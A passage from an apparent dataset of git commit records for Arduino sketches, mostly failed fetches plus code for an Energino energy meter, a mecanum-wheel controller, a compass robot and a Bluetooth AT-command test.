'The' did not match any file(s) known to git\nerror: pathspec 'Things' did not match any file(s) known to git\nerror: pathspec 'Network\/potmeter-workshop\/PotMeterRead\/PotMeterRead.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3f52d6f6c1eec7f4d60050bb0ca5af0f0d1539d","subject":"Added comments, cleaned code.","message":"Added comments, cleaned code.\n\nThere was a fair amount of code that was still in place that was no longer needed. Removed that.\r\n\r\nThe comments were sparse, so I added a fair amount and tried to get them a bit more readable\/understandable.","repos":"erikjlane\/tracktimer","old_file":"racetrack.ino","new_file":"racetrack.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/erikjlane\/tracktimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"40c0eaa74a2e4d48e468af4873e23ba5bdab6980","subject":"Add new revision of energino sketch, this version shall support both version of energino","message":"Add new revision of energino sketch, this version shall support both version of energino\n","repos":"rriggio\/energino,rriggio\/energino,rriggio\/energino,rriggio\/energino","old_file":"sketches\/Energino2\/Energino2.ino","new_file":"sketches\/Energino2\/Energino2.ino","new_contents":"\/*\n * Energino\n *\n * Energino is a energy consumption meter for DC loads\n *\n * This sketch connects an Arduino equipped with the Energino \n * shield and with an Ethernet shield with a web service \n * implementing the COSM (formely Pachube) REST API. It also\n * implements a serial interface.\n *\n * Circuit:\n * Analog inputs attached to pins A0 (Current), A1 (Voltage)\n * Digital output attached to pin D3 (Relay)\n *\n * Supported commands from the serial:\n * #P<integer>, sets the period between two updates (in ms) [default is 2000]\n * #S<0\/1>, sets the relay configuration, 0 load on, 1 load off [default is 0]\n * #A<integer>, sets the value in ohms of the R1 resistor [default is 100000]\n * #B<integer>, sets the value in ohms of the R2 resistor [default is 10000]\n * #C<integer>, sets the offset in mV of the current sensor [default is 2500]\n * #D<integer>, sets the sensitivity in mV of the current sensor [default is 185]\n * #R, resest the configuration to the defaults\n * #F<feed>, sets the feed id [default is 0]\n * #K<key>, sets the COSM authentication key [default is -]\n * #H, sets the remote host ip address [default is 216.52.233.121 (Cosm)]\n * #O, sets the remote host port [default is 80]\n *\n * No updates are sent over the Ethernet interface if the feed id is set to 0\n *\n * Serial putput:\n * #Energino,0,<voltage>,<current>,<power>,<relay>,<period>,<samples>,<ip>,<port>,<host>,<port>,<feed>,<key>\n *\n * RESTful interface: \n * This sketch accepts HTTP requests in the form GET \/<cmd>\/<param>\/[value], where \"cmd\" \n * can be either \"read\" or \"write\", param is one of the following parameters:\n * datastreams [read]\n * switch [read|write]\n * Examples: \n * GET http:\/\/<ipaddress>\/read\/datastreams\n * GET http:\/\/<ipaddress>\/read\/switch\n * GET http:\/\/<ipaddress>\/write\/switch\/0\n * GET http:\/\/<ipaddress>\/write\/switch\/1\n *\n * created 31 October 2012\n * by Roberto Riggio\n *\n * This code is released under the BSD Licence\n *\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <EEPROM.h>\n#include <avr\/eeprom.h>\n\n\/\/ comment\/uncomment to disable\/enable debug\n#define DEBUG\n\n#define RELAY_PIN 3\n#define STRING_BUFFER_SIZE 300\n\n#ifdef DEBUG\n#define DBG if(1) \n#else\n#define DBG if(0) \n#endif\n\n\/\/ Feed id\nconst long FEED = 0;\n\/\/ Cosm key\nconst char KEY[] = \"-\";\n\n\/\/ Cosm configuration\nIPAddress HOST(216,52,233,121);\nconst long PORT = 80;\n\n\/\/ This configuration is used when DHCP fails\nIPAddress IP(172,25,18,219);\nIPAddress MASK(255,255,255,0);\nIPAddress GW(172,25,18,254);\n\n\/\/ Energino parameters\nint R1 = 100;\nint R2 = 10;\nint OFFSET = 2500;\nint SENSITIVITY = 850;\nint PERIOD = 2000;\n\n\/\/ Buffers used for parsing HTTP request lines\nchar buffer[STRING_BUFFER_SIZE];\nchar r[10];\n\n\/\/ Server configuration parameters, energino will listen for\n\/\/ incoming requests on this port\nconst long SERVER_PORT = 8180;\n\n\/\/ Accumulators\nlong VRaw;\nlong IRaw;\n\n\/\/ Control loop paramters\nlong sleep = 0;\nlong delta = 0;\n\n\/\/ Last computed values\nfloat VFinal = 0.0;\nfloat IFinal = 0.0;\n\n\/\/ Not found page\nconst char CONTENT_404[] = \"HTTP\/1.1 404 Not Found\\n\\n\";\n\n\/\/ Not implemented page\nconst char CONTENT_501[] = \"HTTP\/1.1 501 Not Implemented\\n\\n\";\n\n\/\/ JSON response header and footer\nconst char JSON_RESPONSE_BEGIN[] = \"HTTP\/1.1 200 OK\\nContent-Type: application\/json\\n\\n[\";\nconst char JSON_RESPONSE_END[] = \"]\\n\";\n\n\/\/ magic string\nconst char MAGIC[] = \"Energino\";\nconst int REVISION = 0;\n\n\/\/ Minimum period for Ethernet updates\nconst long MIN_ETHERNET_PERIOD = 2000;\n\n\/\/ Permanent configuration\nstruct settings_t {\n char magic[17];\n byte mac[6];\n char apikey[49];\n long period;\n int r1;\n int r2;\n int offset;\n int sensitivity;\n long feed;\n IPAddress host;\n long port;\n} \nsettings;\n\n\/\/ working vars\nEthernetServer server(SERVER_PORT);\n\nvoid reset() {\n DBG Serial.println(\"Writing defaults.\"); \n strcpy (settings.magic,MAGIC);\n settings.period = PERIOD;\n settings.r1 = R1;\n settings.r2 = R2;\n settings.offset = OFFSET;\n settings.sensitivity = SENSITIVITY;\n settings.feed = FEED;\n settings.host = HOST;\n settings.port = PORT;\n strcpy (settings.apikey,KEY); \n randomSeed(analogRead(0));\n settings.mac[0] = 0x90;\n settings.mac[1] = 0xA2;\n settings.mac[2] = 0xDA;\n for (int i = 3; i < 6; i++) {\n settings.mac[i] = random(0, 255);\n }\n}\n\nvoid setup() {\n \/\/ Default on\n pinMode(RELAY_PIN,OUTPUT);\n digitalWrite(RELAY_PIN, LOW);\n pinMode(13,OUTPUT);\n digitalWrite(13, LOW);\n \/\/ configuring serial\n Serial.begin(115200); \n \/\/ Loading setting \n eeprom_read_block((void*)&settings, (void*)0, sizeof(settings));\n if (strcmp(settings.magic, MAGIC) != 0) {\n reset();\n eeprom_write_block((const void*)&settings, (void*)0, sizeof(settings));\n }\n \/\/ set sleep counter\n resetSleep(settings.period);\n \/\/ Print hw address\n char macstr[18];\n snprintf(macstr, 18, \"%02x:%02x:%02x:%02x:%02x:%02x\", settings.mac[0], settings.mac[1], settings.mac[2], settings.mac[3], settings.mac[4], settings.mac[5]);\n DBG Serial.print(\"HWAddr: \");\n DBG Serial.println(macstr);\n \/\/ Try to configure the ethernet using DHCP\n DBG Serial.println(\"Running DHCP...\");\n if (Ethernet.begin(settings.mac) == 0) {\n DBG Serial.println(\"DHCP failed, using static IP.\");\n \/\/ Use static IP\n Ethernet.begin(settings.mac, IP, MASK, GW);\n }\n \/\/ Give the Ethernet shield a second to initialize:\n delay(1000);\n \/\/ Start server\n server.begin();\n}\n\nvoid loop() {\n\n \/\/ Make sure that update period is not too high\n if ((settings.feed != 0) && (settings.period < MIN_ETHERNET_PERIOD)) {\n DBG Serial.println(\"Update period is too high, resetting.\");\n resetSleep(MIN_ETHERNET_PERIOD);\n }\n\n \/\/ Start profiling\n long started = millis();\n\n \/\/ Parse incoming commands\n serParseCommand();\n\n \/\/ Listen for incoming requests\n handleRequests();\n\n \/\/ Instant values are too floating,\n \/\/ let's smooth them up\n VRaw = 0;\n IRaw = 0;\n\n int skipCount = 0;\n\n for(long i = 0; i < sleep; i++) {\n VRaw += analogRead(A1);\n IRaw += analogRead(A0);\n }\n\n \/\/ Conversion\n VFinal = scaleVoltage((float)VRaw\/sleep);\n IFinal = scaleCurrent((float)IRaw\/sleep);\n\n \/\/ send data to remote host\n sendData();\n\n \/\/ Control loop\n delta = abs(millis() - started);\n sleep -= 5 * (delta - settings.period);\n if (sleep < 5) {\n sleep = 5;\n }\n\n}\n\nvoid serParseCommand()\n{\n char cmd = '\\0';\n int i, serAva;\n char inputBytes[60] = { \n '\\0' };\n char * inputBytesPtr = &inputBytes[0];\n if (Serial.available() > 0) {\n delay(5);\n serAva = Serial.available();\n for (i=0; i<serAva; i++) {\n char chr = Serial.read();\n if (i == 0) {\n if (chr != '#') {\n return;\n } \n else {\n continue;\n }\n } \n else if (i == 1) {\n cmd = chr;\n } \n else{\n inputBytes[i-2] = chr;\n }\n }\n inputBytes[i] = '\\0';\n } \n if (cmd == 'F') {\n long value = atol(inputBytesPtr);\n if (value >= 0) {\n settings.feed = value;\n }\n } \n else if (cmd == 'P') {\n int value = atoi(inputBytesPtr);\n if (value > 0) {\n resetSleep(value);\n }\n } \n else if (cmd == 'A') {\n int value = atoi(inputBytesPtr);\n if (value >= 0) {\n settings.r1 = value;\n }\n } \n else if (cmd == 'B') {\n int value = atoi(inputBytesPtr);\n if (value >= 0) {\n settings.r2 = value;\n }\n } \n else if (cmd == 'C') {\n int value = atoi(inputBytesPtr);\n if (value >= 0) {\n settings.offset = value;\n }\n } \n else if (cmd == 'D') {\n int value = atoi(inputBytesPtr);\n if (value >= 0) {\n settings.sensitivity = value;\n }\n } \n else if (cmd == 'S') {\n int value = atoi(inputBytesPtr);\n if (value >= 0) {\n digitalWrite(RELAY_PIN, HIGH);\n } \n else {\n digitalWrite(RELAY_PIN, LOW);\n }\n } \n else if (cmd == 'K') {\n strncpy(settings.apikey, inputBytes,49);\n settings.apikey[48] = '\\0';\n }\n else if (cmd == 'H') {\n byte host[4];\n char *p = strtok(inputBytes, \".\"); \n for (int i = 0; i < 4; i++) {\n host[i] = atoi(p);\n p = strtok(NULL, \".\");\n }\n IPAddress hostIP = IPAddress(host);\n DBG Serial.print(\"New host ip address: \");\n DBG Serial.println(hostIP);\n settings.host=IPAddress(host);\n } \n else if (cmd == 'O') {\n long value = atol(inputBytesPtr);\n if (value > 0) {\n DBG Serial.print(\"New host port: \");\n DBG Serial.println(value);\n settings.port = value;\n }\n } \n else if (cmd == 'R') {\n reset();\n }\n eeprom_write_block((const void*)&settings, (void*)0, sizeof(settings)); \n}\n\n\/\/ This method accepts HTTP requests in the form GET \/<cmd>\/<param>\/[value]\nvoid handleRequests() {\n EthernetClient request = server.available();\n if (request) {\n DBG Serial.println(\"Got request: \");\n int idx = 0;\n while (request.connected() && request.available()) {\n \/\/ Read char by char HTTP request\n char c = request.read();\n DBG Serial.print(c);\n \/\/ Store characters to string\n if (idx < STRING_BUFFER_SIZE) {\n buffer[idx] = c;\n }\n idx++;\n \/\/ If you've gotten to the end of the line (received a newline\n \/\/ character) the http request has ended, so you can send a reply\n if (c == '\\n' || idx >= STRING_BUFFER_SIZE) {\n char method [5];\n char url [20];\n sscanf (buffer,\"%s \/%s\/%s\/%d\",method,url);\n if (strcmp(method, \"GET\") == 0) {\n char * toks;\n toks = strtok (url,\"\/\");\n if (strcmp(toks, \"read\") == 0) {\n toks = strtok (NULL, \"\/\");\n if (strcmp(toks, \"datastreams\") == 0) {\n DBG Serial.println(\"Sending full datastream\");\n sendContent(request,getDatastreams());\n break;\n } \n else if (strcmp(toks, \"switch\") == 0) {\n DBG Serial.println(\"Sending switch status\");\n sendContent(request, digitalRead(RELAY_PIN));\n break;\n } \n } \n else if (strcmp(toks, \"write\") == 0) {\n toks = strtok (NULL, \"\/\");\n if (strcmp(toks, \"switch\") == 0) {\n toks = strtok (NULL, \"\/\");\n if (atoi(toks) > 0) {\n DBG Serial.println(\"Setting switch status to HIGH\");\n digitalWrite(RELAY_PIN, HIGH);\n } \n else { \n DBG Serial.println(\"Setting switch status to LOW\");\n digitalWrite(RELAY_PIN, LOW);\n }\n sendContent(request, digitalRead(RELAY_PIN));\n break;\n } \n } \n \/\/ send a not found response header\n request.println(CONTENT_404);\n request.println();\n break;\n }\n request.println(CONTENT_501);\n request.println();\n break;\n }\n }\n \/\/ give the web browser time to receive the data\n delay(10);\n \/\/ close the connection:\n request.stop();\n }\n}\n\nvoid sendContent(EthernetClient &request, long value) {\n request.println(JSON_RESPONSE_BEGIN);\n request.print(value);\n request.print(JSON_RESPONSE_END);\n}\n\nvoid sendContent(EthernetClient &request, char *value) {\n request.println(JSON_RESPONSE_BEGIN);\n request.print(value);\n request.print(JSON_RESPONSE_END);\n}\n\n\/\/ this method makes a HTTP connection to the server\nvoid sendData() {\n \/\/ poll energino\n char *json = getDatastreams();\n \/\/ check if the feed has been initialized\n if (settings.feed == 0) {\n return;\n }\n \/\/ try to connect\n DBG Serial.println(\"Connecting.\");\n EthernetClient client; \n if (client.connect(settings.host, settings.port)) {\n DBG Serial.println(\"connected.\");\n DBG Serial.print(\"PUT \/v2\/feeds\/\");\n DBG Serial.println(settings.feed);\n \/\/ send the HTTP PUT request. \n client.print(\"PUT \/v2\/feeds\/\");\n client.print(settings.feed);\n client.print(\" HTTP\/1.1\\n\");\n client.print(\"X-PachubeApiKey: \");\n client.println(settings.apikey);\n client.print(\"User-Agent: \");\n client.println(MAGIC); \n client.print(\"Content-Length: \");\n client.print(strlen(json));\n client.print(\"\\n\");\n client.print(\"Content-Type: application\/json\\n\");\n client.print(\"\\n\");\n \/\/ here's the actual content of the PUT request:\n client.print(json);\n delay(1000);\n \/\/ if there are incoming bytes available \n \/\/ from the server, read them and print them:\n while (client.available()) {\n char c = client.read();\n DBG Serial.print(c);\n }\n DBG Serial.print(\"\\n\");\n client.stop();\n }\n else {\n \/\/ if you couldn't make a connection:\n DBG Serial.println(\"Unable to connect.\");\n }\n}\n\nchar * getDatastreams() {\n strcpy (buffer,\"{\\\"version\\\":\\\"1.0.0\\\",\");\n strcat (buffer,\"\\\"datastreams\\\":[\");\n strcat (buffer,\"{\\\"id\\\":\\\"current\\\",\\\"current_value\\\":\");\n strcat (buffer,dtostrf (IFinal, 5, 3, r));\n strcat (buffer,\"},\");\n strcat (buffer,\"{\\\"id\\\":\\\"voltage\\\",\\\"current_value\\\":\");\n strcat (buffer,dtostrf (VFinal, 5, 3, r));\n strcat (buffer,\"},\");\n strcat (buffer,\"{\\\"id\\\":\\\"watts\\\",\\\"current_value\\\":\");\n strcat (buffer,dtostrf (VFinal * IFinal, 5, 3, r));\n strcat (buffer,\"},\");\n strcat (buffer,\"{\\\"id\\\":\\\"switch\\\", \\\"current_value\\\":\");\n strcat (buffer,itoa(digitalRead(RELAY_PIN),r,10));\n strcat (buffer,\"}\");\n strcat (buffer,\"]}\");\n \/\/ Print data also on the serial\n Serial.print(\"#\");\n Serial.print(MAGIC);\n Serial.print(\",\");\n Serial.print(REVISION);\n Serial.print(\",\");\n Serial.print(VFinal,3);\n Serial.print(\",\");\n Serial.print(IFinal,3);\n Serial.print(\",\");\n Serial.print(VFinal * IFinal,3);\n Serial.print(\",\");\n Serial.print(digitalRead(RELAY_PIN));\n Serial.print(\",\");\n Serial.print(delta);\n Serial.print(\",\");\n Serial.print(sleep);\n Serial.print(\",\");\n Serial.print(Ethernet.localIP());\n Serial.print(\",\");\n Serial.print(SERVER_PORT);\n Serial.print(\",\");\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n \/\/ print the value of each byte of the IP address:\n Serial.print(settings.host[thisByte], DEC);\n if (thisByte < 3) {\n Serial.print(\".\");\n }\n }\n Serial.print(\",\");\n Serial.print(settings.port);\n Serial.print(\",\");\n Serial.print(settings.feed);\n Serial.print(\",\");\n Serial.print(settings.apikey);\n Serial.print(\"\\n\"); \n return buffer;\n}\n\nfloat scaleVoltage(float VRaw) {\n return ( VRaw * 5 * (settings.r1 + settings.r2)) \/ ( settings.r2 * 1024 );\n}\n\nfloat scaleCurrent(float IRaw) {\n return ( IRaw * 5 \/ ( 1024 ) - settings.offset) \/ settings.sensitivity;\n}\n\nvoid resetSleep(long value) {\n sleep = value \/ 1000 * 5000;\n settings.period = value;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/Energino2\/Energino2.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"303a624b3013fb7c0d80e621fde980844a1d1360","subject":"making a tweak to the servo controller so it works well with the python code and fixing the \\n naivety","message":"making a tweak to the servo controller so it works well with the python code and fixing the \\n naivety\n","repos":"VisIR\/RoboCode,VisIR\/RoboCode,VisIR\/RoboCode,VisIR\/RoboCode","old_file":"Arduino\/ServoController.ino","new_file":"Arduino\/ServoController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VisIR\/RoboCode.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"96a0cb860b0576db562c575492be51387535c3ce","subject":"Added diagnostic packets for example Tzbii Tzl3B","message":"Added diagnostic packets for example Tzbii Tzl3B\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d4c6d9783d55973793392c416107d978d8d897b9","subject":"Create mecanumwheels2.ino","message":"Create mecanumwheels2.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Markus\/mecanumwheels2.ino","new_file":"home\/Markus\/mecanumwheels2.ino","new_contents":"\nconst int leftrearPin = 3; \/\/ leftrear motor connected to digital pin 3\nconst int leftfrontPin = 5; \/\/ leftfront motor connected to digital pin 5\nconst int rightrearPin = 9; \/\/ rightrear motor connected to digital pin 9\nconst int rightfrontPin = 10; \/\/ rightfront motor connected to digital pin 10\n\nint sensorPin0 = A1; \/\/ select the input pin for the potentiometer\nint sensorPin1 = A0; \/\/ select the input pin for the potentiometer\nint sensor0Value = 0; \/\/ variable to store the value coming from the sensor\nint sensor1Value = 0; \/\/ variable to store the value coming from the sensor\n\n\nint Stop = 127;\n\nint leftfront = Stop;\nint rightfront = Stop;\nint leftrear = Stop;\nint rightrear = Stop;\n\nconst int mandrivePin = 2; \/\/ the number of the pushbutton pin\nint mandriveState = 0; \/\/ variable for reading the pushbutton status\nint mandrive = 0; \n\nvoid setup() {\n\n Serial.begin(115200);\n \n analogWrite(leftfrontPin, leftfront);\n analogWrite(rightfrontPin, rightfront);\n analogWrite(leftrearPin, leftrear);\n analogWrite(rightrearPin, rightrear); \n\n pinMode(mandrivePin, INPUT);\n}\n\nvoid loop() {\n mandriveState = digitalRead(mandrivePin);\n\n \n delay(20);\n if (mandriveState == LOW) { \n if (mandrive == 0) {\n mandrive = 1; \n }\n else if (mandrive == 1) {\n mandrive = 2; \n }\n else if (mandrive == 2) {\n mandrive = 0; \n }\n delay(500);\n }\n \n \n\n if (mandrive == 0) {\n \n \/\/ if there's any serial available, read it:\n while (Serial.available() > 0) {\n\n \/\/ look for the next valid integer in the incoming serial stream:\n int red = Serial.parseInt();\n \/\/ do it again:\n int green = Serial.parseInt();\n \/\/ do it again:\n int blue = Serial.parseInt();\n\n \/\/ look for the newline. That's the end of your\n \/\/ sentence:\n if (Serial.read() == '\\n') {\n \/\/ constrain the values to 0 - 255 and invert\n \/\/ if you're using a common-cathode LED, just use \"constrain(color, 0, 255);\"\n red = 255 - constrain(red, 0, 255);\n green = 255 - constrain(green, 0, 255);\n blue = 255 - constrain(blue, 0, 255);\n\n red = map(red, 0, 255, -70, 325);\n green = map(green, 0, 255, -70, 325);\n blue = map(blue, 0, 255, -70, 325);\n \n leftfront = (green + blue + (255 - red) ) \/ 3 ;\n rightfront = (green + (255 - blue) + red ) \/ 3 ;\n leftrear = (green + blue + red) \/ 3 ;\n rightrear = (green + (255 - blue) + (255 - red) ) \/ 3 ; \n\n\n \n \/\/ fade the red, green, and blue legs of the LED:\n analogWrite(leftrearPin, - leftrear);\n analogWrite(rightrearPin, - rightrear);\n analogWrite(leftfrontPin, - leftfront);\n analogWrite(rightfrontPin, - rightfront);\n }\n }\n }\n\n \n else if (mandrive == 1) {\n sensor0Value = analogRead(sensorPin0);\n sensor0Value = map(sensor0Value, 0, 1023, 300, -60);\n sensor1Value = analogRead(sensorPin1);\n sensor1Value = map(sensor1Value, 0, 1023, 250, 0);\n \n leftfront = (sensor0Value + sensor1Value) \/ 2 ;\n if (leftfront >= 200) {\n leftfront = 200;\n }\n if (leftfront <= 30) {\n leftfront = 30;\n }\n rightfront = ((sensor0Value + 127) \/ 2) + (127 - sensor1Value) \/ 2 ;\n if (rightfront >= 200) {\n rightfront = 200;\n }\n if (rightfront <= 30) {\n rightfront = 30;\n }\n leftrear = (sensor0Value + sensor1Value) \/ 2 ;\n if (leftrear >= 200) {\n leftrear = 200;\n }\n if (leftrear <= 30) {\n leftrear = 30;\n }\n rightrear = ((sensor0Value + 127) \/ 2) + (127 - sensor1Value) \/ 2 ; \n if (rightrear >= 200) {\n rightrear = 200;\n }\n if (rightrear <= 30) {\n rightrear = 30;\n }\n \n analogWrite(leftrearPin, - leftrear);\n analogWrite(rightrearPin, - rightrear);\n analogWrite(leftfrontPin, - leftfront);\n analogWrite(rightfrontPin, - rightfront);\n\n }\n\n else if (mandrive == 2) {\n sensor0Value = analogRead(sensorPin0);\n sensor0Value = map(sensor0Value, 0, 1023, 250, 0);\n sensor1Value = analogRead(sensorPin1);\n sensor1Value = map(sensor1Value, 0, 1023, 250, 0);\n \n leftfront = (sensor0Value + sensor1Value) \/ 2 ;\n if (leftfront >= 200) {\n leftfront = 200;\n }\n if (leftfront <= 50) {\n leftfront = 50;\n }\n rightfront = ((sensor0Value + 127) \/ 2) + (127 - sensor1Value) \/ 2 ;\n if (rightfront >= 200) {\n rightfront = 200;\n }\n if (rightfront <= 50) {\n rightfront = 50;\n }\n leftrear = ((sensor0Value + 127) \/ 2) + (127 - sensor1Value) \/ 2 ;\n if (leftrear >= 200) {\n leftrear = 200;\n }\n if (leftrear <= 50) {\n leftrear = 50;\n }\n rightrear = (sensor0Value + sensor1Value) \/ 2 ;\n if (rightrear >= 200) {\n rightrear = 200;\n }\n if (rightrear <= 50) {\n rightrear = 50;\n }\n \n analogWrite(leftrearPin, - leftrear);\n analogWrite(rightrearPin, - rightrear);\n analogWrite(leftfrontPin, - leftfront);\n analogWrite(rightfrontPin, - rightfront);\n\n }\n \n \/\/ Serial.println(leftfront);\n \/\/ Serial.println(rightfront);\n \/\/ Serial.println(leftrear);\n\/\/ Serial.println(rightrear);\n\/\/ delay(100);\n }\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Markus\/mecanumwheels2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3f0cbe06d22e51916eabc5028d5864c721c7100c","subject":"Create go_west.ino","message":"Create go_west.ino","repos":"Robox-Education\/Pika,gskielian\/Robox_Library","old_file":"examples\/go_west\/go_west.ino","new_file":"examples\/go_west\/go_west.ino","new_contents":"#include \"Robox.h\"\n#include <Servo.h>\n\n#include \"Wire.h\"\n#include \"I2Cdev.h\"\n#include \"HMC5883L.h\"\n\n\nHMC5883L mag;\nint16_t mx, my, mz;\n\n\n\n\/\/Here we create a Robox called \"pika\", which has basic moves\n\n\/\/Syntax:\n\/\/Robox ur_bot_name(left_wheel_pin, right_wheel_pin);\n\nRobox pika(9,10);\n\n\nvoid setup()\n{\n \/\/begin I2C Communication\n Wire.begin();\n\n \/\/initialize magnets\n mag.initialize();\n\n \/\/attach servo motors\n pika.attach();\n\n \/\/begin serial interface\n Serial.begin(115200);\n}\n\nvoid loop()\n{\n\n\n \/\/make the robot point north\n mag.getHeading(&mx, &my, &mz);\n float heading = atan2(my, mx) * 180\/M_PI;\n Serial.println(heading);\n delay(100);\n\n\/*\n pika.forward();\n delay(2000);\n\n Serial.println(\"pika.right();\");\n pika.right();\n delay(2000);\n\n Serial.println(\"pika.left();\");\n pika.left();\n delay(2000);\n\n Serial.println(\"pika.backward();\");\n pika.backward();\n delay(2000);\n\n Serial.println(\"pika.stop();\");\n pika.stop();\n delay(2000);\n*\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/go_west\/go_west.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95248ad5a72cb0aae5508910cddc42f50aa05b39","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"521accda544889717f29c2a2eb797b7c250a2156","subject":"Cerveau: Gyroscope ajout calculs pitch roll yaw","message":"Cerveau: Gyroscope ajout calculs pitch roll yaw\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino","new_file":"Module Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36e4e0d9f94cf69432e2cfb6b4ab94ba1a41540b","subject":"added value echo for code send in nduin","message":"added value echo for code send in nduin\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ee230516e0997723032448253a47543408d39440","subject":"update","message":"update\n","repos":"DaveCalaway\/ESP8266,DaveCalaway\/ESP8266","old_file":"Esempi\/ledStatus_http\/ledStatus_http.ino","new_file":"Esempi\/ledStatus_http\/ledStatus_http.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DaveCalaway\/ESP8266.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"78ce47fd75f0c196e9b62a6480179917f81e690c","subject":"BT command, include ATVER examples","message":"BT command, include ATVER examples\n","repos":"nebgnahz\/HOBS,nebgnahz\/HOBS,nebgnahz\/HOBS","old_file":"test\/BT_command\/BT_command.ino","new_file":"test\/BT_command\/BT_command.ino","new_contents":"#include <SoftwareSerial.h>\nSoftwareSerial BT(10, 11); \/\/ RX, TX\n\n\nvoid setup(){\n Serial.begin(9600);\n \/\/ state = IDLE;\n \/\/ digitalWrite(softpotPin, HIGH); \/\/enable pullup resistor\n \/\/ randomSeed(analogRead(5));\n \/\/ digitalWrite(ledPin, LOW);\n BT.begin(57600);\n \/\/ XBeePacketCounter = 0;\n \/\/ pressed = false;\n \/\/ released = false;\n \/\/ last_release_time = 0;\n delay(300);\n Serial.println(\"system begins\");\n\n BT.println(\"ATVER,ver1\");\n delay(100);\n while(BT.available()){\n \/\/ Serial.print(\"msg receive:\");\n Serial.write(BT.read());\n \/\/ Serial.println();\n }\n\n delay(100);\n\n BT.println(\"ATRSW,6\");\n delay(100);\n while(BT.available()){\n \/\/ Serial.print(\"msg receive:\");\n Serial.write(BT.read());\n \/\/ Serial.println();\n }\n\n delay(100);\n\n \/\/ BT.println(\"ATPAIR,B8F6B1196970\");\n \/\/ delay(2000);\n \/\/ while(BT.available()){\n \/\/ \/\/ Serial.print(\"msg receive:\");\n \/\/ Serial.write(BT.read());\n \/\/ \/\/ Serial.println();\n \/\/ }\n}\n\nvoid loop(){\n\tif(BT.available()){\n\t\t\/\/ Serial.print(\"msg receive:\");\n\t\tSerial.write(BT.read());\n \/\/ Serial.println();\n\t}\n \/\/ BT.write(\"send to BT\\n\");\n \/\/ Serial.println(\"send to Serial\");\n if(Serial.available()){\n \/\/ char msg[100];\n \n \/\/ Serial.readBytesUntil('\\n', msg, 100);\n \/\/ Serial.print(\"send via BT\");\n \/\/ String msg_str = new String(msg);\n \/\/ Serial.println(msg_str);\n \/\/ BT.print(msg_str);\n \/\/ BT.write(msg);\n\n BT.write(Serial.read());\n BT.println();\n }\n \/\/ delay(10);\u00a0\n\n}","old_contents":"","returncode":1,"stderr":"error: 